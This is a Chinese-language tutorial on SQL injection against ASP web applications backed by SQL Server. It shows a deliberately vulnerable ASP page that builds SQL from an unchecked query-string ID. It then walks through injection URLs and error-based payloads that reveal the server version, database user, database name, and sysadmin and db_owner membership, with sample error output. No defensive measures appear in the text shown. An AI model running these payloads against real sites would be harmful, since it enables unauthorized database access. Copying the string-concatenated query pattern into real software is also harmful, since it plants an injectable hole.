基于SQL Server的WEB应用程序注入攻击详细介绍
|
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL注入(SQL Injection)。 SQL 注入攻击是一个常规性的攻击,它可以允许一些不法用户检索你的数据,改变服务器的设置,或者在你不小心的时候黑掉你的服务器。SQL 注入攻击不是SQL Server问题,而是不适当的程序。如果你想要运行这些程序的话,你必须明白这冒着一定的风险。
一、原理 了解SQL注入之前先要了解一些基本的B/S模式应用程序的知识,以及浏览器与服务器交互的相关知识。根据国情,国内的网站用ASP+Access或SQL Server的占70%以上,PHP+MySQL占20%,其他的不足10%。对于ASP+SQL Server的应用程序结构,一个ASP程序实际上是SQL Server的一个客户端,它需要一个合法的SQL登录名和密码去连接SQL Server数据库。下面一段代码是典型的在ASP中连接SQL SERVER的例子: <%rServer="IBM-WEB-01" "设置SQL SERVER服务器地址 rUid="webuser" "设置SQL SERVER登录名 rPwd="xxxxxxxxf" "设置SQL SERVER登录密码 rDatabase="sitelog" "设置SQL SERVER数据库名 set conn=Server.CreateObject("ADODB.Connection") strconn="driver={sql server};server=" & rServer & ";uid=" & rUid & ";pwd=" & rPWD & ";database=" & rDatabase conn.open strconn%>
<%strID=Trim(Request.QueryString("ID")) strSQL="select * from info_article where ID=" & strID set rs=server.CreateObject("ADODB.Recordset") rs.open strSQL,conn,1,3%> <table width="100%" border="0" cellpadding="10" cellspacing="1" class="table1"> <tr class="trtitle"> <td><div align="center"><%=rs("title")%><br></div></td> </tr> <tr class="trcontent"> <td><%=rs("content")%></td> </tr> </table>
二、测试 现在试着在浏览器中输入下面的URL“http://www.abc.com/article_show.ASP?ID=12’”,此时类比上面的介绍得到strSQL字串的值为:select * from info_article where ID=12’,这在SQL Server中是一句非法的查询语句。这时服务器将返回如下的错误: Microsoft OLE DB Provider for ODBC Drivers 错误 "80040e14" [Microsoft][ODBC SQL Server Driver][SQL Server]字符串 "" 之前有未闭合的引号。
有些时候服务器显示“处理URL时服务器上出错”是因为IIS设置中关闭了向客户端发送详细出错信息,这时不一定不能注入,但相对来讲困难极大,只能碰运气了。 有些时候服务器显示的内容还是ID=12的内容,没有任何出错信息,这可能是开发者过滤掉了单引号,可以使用下面的方法进行尝试:“article_show.ASP?ID=12 and 1=2”,此时如果出现下面的错误,还是有可能进行注入的。 错误 "80020009" 发生意外。
Microsoft VBScript 运行时错误 错误 "800a000d" 类型不匹配: "cint"
类型不匹配: "clng"
类型不匹配: "cdbl"
类型不匹配: "c"
Application uses a value of the wrong type for the current operation.
三、搜集信息 确定可以实施注入攻击后,可以使用下面的方法对服务器进行测试。
测试SQL Server版本: article_show.ASP?ID=(SELECT @@VERSION) Microsoft OLE DB Provider for ODBC Drivers 错误 "80040e07" [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 "Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) " 转换为数据类型为 int 的列时发生语法错误。
article_show.ASP?ID=(USER_NAME()) Microsoft OLE DB Provider for ODBC Drivers 错误 "80040e07" [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 "webuser" 转换为数据类型为 int 的列时发生语法错误。
测试SQL Server当前使用的数据库名称: article_show.ASP?ID=(DB_NAME()) Microsoft OLE DB Provider for ODBC Drivers 错误 "80040e07" [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 "sitelog" 转换为数据类型为 int 的列时发生语法错误。
SELECT IS_SRVROLEMEMBER("sysadmin")这句SQL语句可用来测试当前登录的用户是否为sysadmin的服务器角色,如果是将返回值1,不是的话返回值0。这里要将其转变为字符型数据才能看到具体数值。因此写下面的URL:(其中char(115)为字符’s’,%2B为加号(+)的UTF-8编码。) article_show.ASP?ID=(SELECT CHAR(115) %2B CAST(IS_SRVROLEMEMBER("sysadmin") AS VARCHAR(2))) Microsoft OLE DB Provider for ODBC Drivers 错误 "80040e07" [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 "s0" 转换为数据类型为 int 的列时发生语法错误。
测试当前用户是否为“db_owner”组成员。 article_show.ASP?ID=(SELECT CHAR(115) %2B CAST(IS_MEMBER("db_owner") AS VARCHAR(2))) Microsoft OLE DB Provider for ODBC Drivers 错误 "80040e07" [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 "s1" 转换为数据类型为 int 的列时发生语法错误。
|
